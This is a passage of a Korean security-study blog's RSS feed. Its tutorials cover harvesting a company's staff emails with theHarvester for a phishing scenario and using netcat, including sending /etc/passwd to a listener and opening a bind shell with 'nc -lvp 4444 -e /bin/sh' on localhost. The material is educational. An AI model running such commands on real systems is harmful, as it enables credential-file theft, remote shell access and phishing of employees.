&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;18.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bDrmcK/btqF2R3M3lc/l6nqKI1hkVlS3evH9kaFI0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bDrmcK/btqF2R3M3lc/l6nqKI1hkVlS3evH9kaFI0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bDrmcK/btqF2R3M3lc/l6nqKI1hkVlS3evH9kaFI0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbDrmcK%2FbtqF2R3M3lc%2Fl6nqKI1hkVlS3evH9kaFI0%2Fimg.png&quot; data-filename=&quot;18.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;수집한 이메일과 각종 정보를 볼 수 있다.&lt;/p&gt;</description>
      <category>공부/해킹공부</category>
      <category>Recon-ng</category>
      <category>모의해킹</category>
      <category>이메일수집</category>
      <category>칼리리눅스</category>
      <category>칼리리눅스사용법</category>
      <category>해킹</category>
      <author>notepad.exe</author>
      <guid isPermaLink="true">https://geru.tistory.com/20</guid>
      <comments>https://geru.tistory.com/20#entry20comment</comments>
      <pubDate>Sun, 26 Jul 2020 22:49:28 +0900</pubDate>
    </item>
    <item>
      <title>이메일 수집</title>
      <link>https://geru.tistory.com/19</link>
      <description>&lt;p&gt;특정회사를 해킹하려고 할 때 해커가 직원들의 이메일을 먼저 수집하고 그 직원을 대상으로 피싱 메일을 보내서 직원 pc로 침투하는 시나리오로 가정한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;1.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ch3hkG/btqF2RPIow8/9q6D1y8IvE51KF8akMwlb0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ch3hkG/btqF2RPIow8/9q6D1y8IvE51KF8akMwlb0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ch3hkG/btqF2RPIow8/9q6D1y8IvE51KF8akMwlb0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fch3hkG%2FbtqF2RPIow8%2F9q6D1y8IvE51KF8akMwlb0%2Fimg.png&quot; data-filename=&quot;1.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;theharvester를 사용하여 이메일 수집을 간단하게 할 수 있다.&lt;/p&gt;
&lt;p&gt;이것은 이미 인터넷에 공개되었는 정보를 이용하여 이메일의 정보를 수집하는 것이다.&lt;/p&gt;
&lt;p&gt;bolter.com을 대상으로 실습해보겠다.&lt;/p&gt;
&lt;p&gt;
&lt;script src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;/p&gt;
&lt;p&gt;thehavester -d bloter.net -b google을 위의 사진과 같이 입력했다.&lt;/p&gt;
&lt;p&gt;(-d옵션 -&amp;gt; 검색하고자 하는 도메인, -b 사용할 검색엔진)&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;2.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CtNvz/btqF1oAUjon/XYcixKpswnbz7qVGa7zRp0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CtNvz/btqF1oAUjon/XYcixKpswnbz7qVGa7zRp0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CtNvz/btqF1oAUjon/XYcixKpswnbz7qVGa7zRp0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCtNvz%2FbtqF1oAUjon%2FXYcixKpswnbz7qVGa7zRp0%2Fimg.png&quot; data-filename=&quot;2.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;결과를 확인하면 위의 사진과 같이 이메일들이 수집된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;이메일 외에도 공개되어있는 서브 도메인과 그것의 ip주소를 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;이 정보를 통해서 해커는 직원들의 이메일로 피싱 메일을 보내거나 공개된 서브 도메인을 새로운 해킹의 타겟으로 만들 수도 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>공부/해킹공부</category>
      <category>모의해킹</category>
      <category>이메일</category>
      <category>이메일피싱</category>
      <category>칼리리눅스</category>
      <category>칼리리눅스사용법</category>
      <category>해킹</category>
      <category>해킹공부</category>
      <author>notepad.exe</author>
      <guid isPermaLink="true">https://geru.tistory.com/19</guid>
      <comments>https://geru.tistory.com/19#entry19comment</comments>
      <pubDate>Sun, 26 Jul 2020 19:24:47 +0900</pubDate>
    </item>
    <item>
      <title>넷캣 간단하게 사용해보기</title>
      <link>https://geru.tistory.com/13</link>
      <description>&lt;p&gt;넷캣 &lt;br /&gt;모의해킹&amp;nbsp;분야의&amp;nbsp;맥가이버칼로&amp;nbsp;다재다능하다. &lt;br /&gt;넷캣으로 클라이언트, 서버 모드를 2개다 구현할 수 있기 때문에 넷캣하나만 이용해서&amp;nbsp;서로&amp;nbsp;통신이&amp;nbsp;가능하다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;1.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bu3GAf/btqF1TzYUqH/V1JkAoJA04j9hwZnQKPuvK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bu3GAf/btqF1TzYUqH/V1JkAoJA04j9hwZnQKPuvK/img.png&quot; data-alt=&quot;-h 옵션으로 사용법을 확인할 수 있다.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bu3GAf/btqF1TzYUqH/V1JkAoJA04j9hwZnQKPuvK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbu3GAf%2FbtqF1TzYUqH%2FV1JkAoJA04j9hwZnQKPuvK%2Fimg.png&quot; data-filename=&quot;1.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;-h 옵션으로 사용법을 확인할 수 있다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;2.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Dx8To/btqF1AHrQJY/8ilmZqvqCxSX0roIm5VrC1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Dx8To/btqF1AHrQJY/8ilmZqvqCxSX0roIm5VrC1/img.png&quot; data-alt=&quot;왼쪽이 클라이언트(해커)이고 오른쪽이 서버(공격대상)이다.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Dx8To/btqF1AHrQJY/8ilmZqvqCxSX0roIm5VrC1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDx8To%2FbtqF1AHrQJY%2F8ilmZqvqCxSX0roIm5VrC1%2Fimg.png&quot; data-filename=&quot;2.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;왼쪽이 클라이언트(해커)이고 오른쪽이 서버(공격대상)이다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;3.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uzuwx/btqF0RDqQPB/gxvshr8recTaZjwSWNL8kk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uzuwx/btqF0RDqQPB/gxvshr8recTaZjwSWNL8kk/img.png&quot; data-alt=&quot;서버쪽에 nc -lvp 4444를 입력한 모습&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uzuwx/btqF0RDqQPB/gxvshr8recTaZjwSWNL8kk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fuzuwx%2FbtqF0RDqQPB%2Fgxvshr8recTaZjwSWNL8kk%2Fimg.png&quot; data-filename=&quot;3.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;서버쪽에 nc -lvp 4444를 입력한 모습&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;서버로 만들 터미널에 nc&amp;nbsp;-lvp&amp;nbsp;4444&amp;nbsp;입력해준다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;l&amp;nbsp;-&amp;gt;&amp;nbsp;listening&amp;nbsp;mode(서버로&amp;nbsp;동작하는&amp;nbsp;것을&amp;nbsp;의미) &lt;br /&gt;v&amp;nbsp;-&amp;gt;&amp;nbsp;상태메시지&amp;nbsp;출력 &lt;br /&gt;p&amp;nbsp;-&amp;gt;&amp;nbsp;listening&amp;nbsp;실행&amp;nbsp;시&amp;nbsp;사용하는&amp;nbsp;포트&amp;nbsp;번호&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;이렇게&amp;nbsp;하면&amp;nbsp;간단한&amp;nbsp;서버를&amp;nbsp;만들&amp;nbsp;수&amp;nbsp;있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;4.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bv0hCb/btqFZ5oldun/jwwP0QU61Loh7Ko9i0YE6K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bv0hCb/btqFZ5oldun/jwwP0QU61Loh7Ko9i0YE6K/img.png&quot; data-alt=&quot;클라이언트쪽에 nc 127.0.0.1 4444을 입력&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bv0hCb/btqFZ5oldun/jwwP0QU61Loh7Ko9i0YE6K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbv0hCb%2FbtqFZ5oldun%2FjwwP0QU61Loh7Ko9i0YE6K%2Fimg.png&quot; data-filename=&quot;4.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;클라이언트쪽에 nc 127.0.0.1 4444을 입력&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;5.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b9cvXY/btqFZ5IBmhq/6THkfmL8r48Qw1lftRdwW1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b9cvXY/btqFZ5IBmhq/6THkfmL8r48Qw1lftRdwW1/img.png&quot; data-alt=&quot;서로 연결된 모습&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b9cvXY/btqFZ5IBmhq/6THkfmL8r48Qw1lftRdwW1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb9cvXY%2FbtqFZ5IBmhq%2F6THkfmL8r48Qw1lftRdwW1%2Fimg.png&quot; data-filename=&quot;5.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;서로 연결된 모습&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;이렇게 되면&amp;nbsp;클라이언트가&amp;nbsp;서버와&amp;nbsp;연결된&amp;nbsp;것을&amp;nbsp;확인할&amp;nbsp;수&amp;nbsp;있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;6.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dDHikW/btqF2SHnAdw/5UK1KTdnfprrUvLNZxqKuK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dDHikW/btqF2SHnAdw/5UK1KTdnfprrUvLNZxqKuK/img.png&quot; data-alt=&quot;클라이언트에 hello를 입력한 결과&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dDHikW/btqF2SHnAdw/5UK1KTdnfprrUvLNZxqKuK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdDHikW%2FbtqF2SHnAdw%2F5UK1KTdnfprrUvLNZxqKuK%2Fimg.png&quot; data-filename=&quot;6.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;클라이언트에 hello를 입력한 결과&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;클라이언트에 hello를 입력한 결과 서버 쪽에 hello가 전달이 되었다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;7.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cVpB23/btqF0Q5yieT/i2kaXaiKEWoIwjlylpybyK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cVpB23/btqF0Q5yieT/i2kaXaiKEWoIwjlylpybyK/img.png&quot; data-alt=&quot;서버에 ack를 입력한 결과&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cVpB23/btqF0Q5yieT/i2kaXaiKEWoIwjlylpybyK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcVpB23%2FbtqF0Q5yieT%2Fi2kaXaiKEWoIwjlylpybyK%2Fimg.png&quot; data-filename=&quot;7.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;서버에 ack를 입력한 결과&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;이번엔 서버에 ack를 입력하였다. 이번에도 역시 서버에 ack를 입력하니 클라이언트 쪽으로 ack가 전달되었다.&lt;/p&gt;
&lt;p&gt;이와 같이 클라이언트와 서버끼리 메시지를 보낼 수 있게 되었다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;이번엔&amp;nbsp;넷캣을&amp;nbsp;이용해서&amp;nbsp;파일을&amp;nbsp;복사해보자.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;8.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/x7caT/btqF15GY0KF/tt2VucMqBwdezjIOFkRX30/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/x7caT/btqF15GY0KF/tt2VucMqBwdezjIOFkRX30/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/x7caT/btqF15GY0KF/tt2VucMqBwdezjIOFkRX30/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fx7caT%2FbtqF15GY0KF%2Ftt2VucMqBwdezjIOFkRX30%2Fimg.png&quot; data-filename=&quot;8.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;서버 쪽에&amp;nbsp;nc&amp;nbsp;-lvp&amp;nbsp;4444&amp;nbsp;&amp;gt;&amp;nbsp;passwd를&amp;nbsp;입력한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;9.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mhwDp/btqF2S1GoPp/GxwXv4TZGuJHfjERrKTN41/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mhwDp/btqF2S1GoPp/GxwXv4TZGuJHfjERrKTN41/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mhwDp/btqF2S1GoPp/GxwXv4TZGuJHfjERrKTN41/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmhwDp%2FbtqF2S1GoPp%2FGxwXv4TZGuJHfjERrKTN41%2Fimg.png&quot; data-filename=&quot;9.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;그리고&amp;nbsp;클라이언트에&amp;nbsp;nc&amp;nbsp;-q&amp;nbsp;0&amp;nbsp;127.0.0.1&amp;nbsp;4444&amp;nbsp;&amp;lt;&amp;nbsp;/etc/passwd를&amp;nbsp;입력한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;명령어에&amp;nbsp;사용된&amp;nbsp;&quot;&amp;gt;&quot;&amp;nbsp;or&amp;nbsp;&quot;&amp;lt;&quot;&amp;nbsp;기호는&amp;nbsp;리다이렉션이라고&amp;nbsp;한다. &lt;br /&gt;괄호의&amp;nbsp;방향으로&amp;nbsp;파일을&amp;nbsp;출력&amp;nbsp;또는&amp;nbsp;입력을&amp;nbsp;받을&amp;nbsp;수&amp;nbsp;있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;nc&amp;nbsp;-lvp&amp;nbsp;4444&amp;nbsp;&amp;gt;&amp;nbsp;passwd &lt;br /&gt;서버 쪽에서는 클라이언트에서 네트워크 쪽으로 들어오는 입력을 passwd라는&amp;nbsp; 파일에&amp;nbsp;저장을&amp;nbsp;하는&amp;nbsp;것이다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;nc&amp;nbsp;-q&amp;nbsp;0&amp;nbsp;127.0.0.1&amp;nbsp;4444&amp;nbsp;&amp;lt;&amp;nbsp;/etc/passwd &lt;br /&gt;/etc/passwd파일의 내용을 입력받아서 넷캣을 이용해 서버로 전달하게 되는 것이다. &lt;br /&gt;-q옵션은&amp;nbsp;파일전송이&amp;nbsp;끝나면&amp;nbsp;바로&amp;nbsp;종료시켜주는&amp;nbsp;옵션이다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;이것으로 클라이언트 /etc/passwd내용복사해서&amp;nbsp; 서버&amp;nbsp;passwd파일에&amp;nbsp;저장할&amp;nbsp;수&amp;nbsp;있다.&lt;/p&gt;
&lt;p&gt;
&lt;script src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;이번엔&amp;nbsp;넷캣으로&amp;nbsp;커맨트쉘을&amp;nbsp;실행시켜보자.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;일단&amp;nbsp;쉘은&amp;nbsp;2가지로&amp;nbsp;나눌&amp;nbsp;수&amp;nbsp;있는데&amp;nbsp;바인드쉘과&amp;nbsp;리버스쉘로&amp;nbsp;나눌&amp;nbsp;수&amp;nbsp;있다. &lt;br /&gt;바인드쉘은 공격 대상에 서버 포트가 열리고 해커 쪽에서 서버에 접속을 해서 생성시키는&amp;nbsp;쉘이다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;10.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b7HMe5/btqF1S8XpQ7/4DDSSw4DQxF4T6m3S90Rc0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b7HMe5/btqF1S8XpQ7/4DDSSw4DQxF4T6m3S90Rc0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b7HMe5/btqF1S8XpQ7/4DDSSw4DQxF4T6m3S90Rc0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb7HMe5%2FbtqF1S8XpQ7%2F4DDSSw4DQxF4T6m3S90Rc0%2Fimg.png&quot; data-filename=&quot;10.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;nc&amp;nbsp;-lvp&amp;nbsp;4444&amp;nbsp;-e&amp;nbsp;/bin/sh를&amp;nbsp;입력해준다.&lt;/p&gt;
&lt;p&gt;-e옵션은&amp;nbsp;접속을&amp;nbsp;하고&amp;nbsp;나면&amp;nbsp;명령을&amp;nbsp;실행시켜주는&amp;nbsp;옵션이다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;11.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bAP4P5/btqF1ogbgzb/ZPJFICbN3TKUT75y5kcyKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bAP4P5/btqF1ogbgzb/ZPJFICbN3TKUT75y5kcyKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bAP4P5/btqF1ogbgzb/ZPJFICbN3TKUT75y5kcyKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbAP4P5%2FbtqF1ogbgzb%2FZPJFICbN3TKUT75y5kcyKK%2Fimg.png&quot; data-filename=&quot;11.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그다음 해커쪽에서 nc 127.0.0.1 4444를 입력해준다.&lt;/p&gt;
&lt;p&gt;그리고&amp;nbsp;서버쪽에서&amp;nbsp;해커 쪽이&amp;nbsp;연결이&amp;nbsp;되었다고&amp;nbsp;출력이 된다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
